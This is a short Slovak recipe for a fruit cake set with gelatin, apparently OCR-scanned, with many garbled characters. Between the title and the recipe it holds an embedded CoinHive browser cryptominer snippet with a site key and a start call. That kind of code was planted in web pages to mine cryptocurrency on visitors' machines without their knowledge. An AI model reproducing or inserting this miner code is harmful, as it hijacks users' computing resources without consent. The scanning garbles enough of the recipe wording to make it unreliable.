OVOCNY KOLAC SO ZELATINOU

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Cesto: 6 vajec, 6 lyzic krystalového cukru, 6 lyZic miky Promix Uni. Cukor so Zitkami
vymieSame do peny, pridame muku a sneh z bielkov. Cesto vylejeme na vymasteny a mukou
vysypany plech a upec€ieme. Na vychladnuty kola¢ poukladdme ovocie (polovicky marhur,
broskyf a pod.) a zalejeme Zelatinou. Zelatina: 700 ml vody alebo kompétovej &tavy, 2 Zlaté
klasy, 2 lyZice krystaloveho cukru. Vodu zmieSame s cukrom a Zlatym klasom a za staleho
mieSania uvarime. ESte horlcim zalejeme kola¢ s ovocim. Nechame stuhnut, nakrajame na
Stvorce (trojuholniky), mézeme ozdobit Sfahackou.

Recept odporauca Ludka.




